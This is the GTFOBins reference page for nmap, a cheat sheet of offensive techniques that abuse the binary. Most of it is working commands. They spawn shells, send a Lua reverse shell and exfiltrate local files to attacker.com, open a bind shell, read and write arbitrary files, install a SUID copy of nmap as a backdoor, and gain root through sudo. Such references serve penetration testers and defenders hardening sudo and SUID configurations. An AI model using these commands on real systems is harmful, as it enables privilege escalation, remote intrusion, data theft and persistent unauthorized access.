nmap | GTFOBins

.. / nmap

Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

• Input echo is disabled.

  TF=$(mktemp)
  echo 'os.execute("/bin/sh")' > $TF
  nmap --script=$TF

• The interactive mode, available on versions 2.02 to 5.21, can be used to execute shell commands.

  nmap --interactive
  nmap> !sh

Non-interactive reverse shell

It can send back a non-interactive reverse shell to a listening attacker to open a remote network access.

• Run nc -l -p 12345 on the attacker box to receive the shell.

  export RHOST=attacker.com
  export RPORT=12345
  TF=$(mktemp)
  echo 'local s=require("socket");
  local t=assert(s.tcp());
  t:connect(os.getenv("RHOST"),os.getenv("RPORT"));
  while true do
    local r,x=t:receive();local f=assert(io.popen(r,"r"));
    local b=assert(f:read("*a"));t:send(b);
  end;
  f:close();t:close();' > $TF
  nmap --script=$TF

Non-interactive bind shell

It can bind a non-interactive shell to a local port to allow remote network access.

• Run nc target.com 12345 on the attacker box to connect to the shell.

  export LPORT=12345
  TF=$(mktemp)
  echo 'local k=require("socket");
  local s=assert(k.bind("*",os.getenv("LPORT")));
  local c=s:accept();
  while true do
    local r,x=c:receive();local f=assert(io.popen(r,"r"));
    local b=assert(f:read("*a"));c:send(b);
  end;c:close();f:close();' > $TF
  nmap --script=$TF

File upload

It can exfiltrate files on the network.

• Send a local file via TCP. Run `socat -v tcp-listen:8080,reuseaddr,fork - on the attacker box to collect the file or use a proper HTTP server. Note that multiple connections are made to the server. Also, it is important that the port is a commonly used HTTP like 80 or 8080.

  RHOST=attacker.com
  RPORT=8080
  LFILE=file_to_send
  nmap -p $RPORT $RHOST --script http-put --script-args http-put.url=/,http-put.file=$LFILE

• Send a local file via TCP. Run nc -l -p 12345 > "file_to_save" on the attacker box to collect the file.

  export RHOST=attacker.com
  export RPORT=12345
  export LFILE=file_to_send
  TF=$(mktemp)
  echo 'local f=io.open(os.getenv("LFILE"), 'rb')
  local d=f:read("*a")
  io.close(f);
  local s=require("socket");
  local t=assert(s.tcp());
  t:connect(os.getenv("RHOST"),os.getenv("RPORT"));
  t:send(d);
  t:close();' > $TF
  nmap --script=$TF

File download

It can download remote files.

• Fetch a remote file via TCP. Run a proper HTTP server on the attacker box to send the file, e.g., php -S 0.0.0.0:8080. Note that multiple connections are made to the server and the result is placed in $TF/IP/PORT/PATH. Also, it is important that the port is a commonly used HTTP like 80 or 8080.

  RHOST=attacker.com
  RPORT=8080
  TF=$(mktemp -d)
  LFILE=file_to_save
  nmap -p $RPORT $RHOST --script http-fetch --script-args http-fetch.destination=$TF,http-fetch.url=$LFILE

• Fetch a remote file via TCP. Run nc target.com 12345 < "file_to_send" on the attacker box to send the file.

  export LPORT=12345
  export LFILE=file_to_save
  TF=$(mktemp)
  echo 'local k=require("socket");
  local s=assert(k.bind("*",os.getenv("LPORT")));
  local c=s:accept();
  local d,x=c:receive("*a");
  c:close();
  local f=io.open(os.getenv("LFILE"), "wb");
  f:write(d);
  io.close(f);' > $TF
  nmap --script=$TF

File write

It writes data to files, it may be used to do privileged writes or write files outside a restricted file system.

• TF=$(mktemp)
  echo 'local f=io.open("file_to_write", "wb"); f:write("data"); io.close(f);' > $TF
  nmap --script=$TF

• The payload appears inside the regular nmap output.

  LFILE=file_to_write
  nmap -oG=$LFILE DATA

File read

It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.

• TF=$(mktemp)
  echo 'local f=io.open("file_to_read", "rb"); print(f:read("*a")); io.close(f);' > $TF
  nmap --script=$TF

If the binary has the SUID bit set, it does not drop the elevated privileges and may be abused to access the file system, escalate or maintain privileged access as a SUID backdoor. If it is used to run sh -p, omit the -p argument on systems like Debian (<= Stretch) that allow the default sh shell to run with SUID privileges.

This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.

• The payload appears inside the regular nmap output.

  sudo install -m =xs $(which nmap) .
  
  LFILE=file_to_write
  ./nmap -oG=$LFILE DATA

If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

• Input echo is disabled.

  TF=$(mktemp)
  echo 'os.execute("/bin/sh")' > $TF
  sudo nmap --script=$TF

• The interactive mode, available on versions 2.02 to 5.21, can be used to execute shell commands.

  sudo nmap --interactive
  nmap> !sh

Limited SUID

If the binary has the SUID bit set, it may be abused to access the file system, escalate or maintain access with elevated privileges working as a SUID backdoor. If it is used to run commands (e.g., via system()-like invocations) it only works on systems like Debian (<= Stretch) that allow the default sh shell to run with SUID privileges.

This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.

• Input echo is disabled.

  sudo install -m =xs $(which nmap) .
  
  TF=$(mktemp)
  echo 'os.execute("/bin/sh")' > $TF
  ./nmap --script=$TF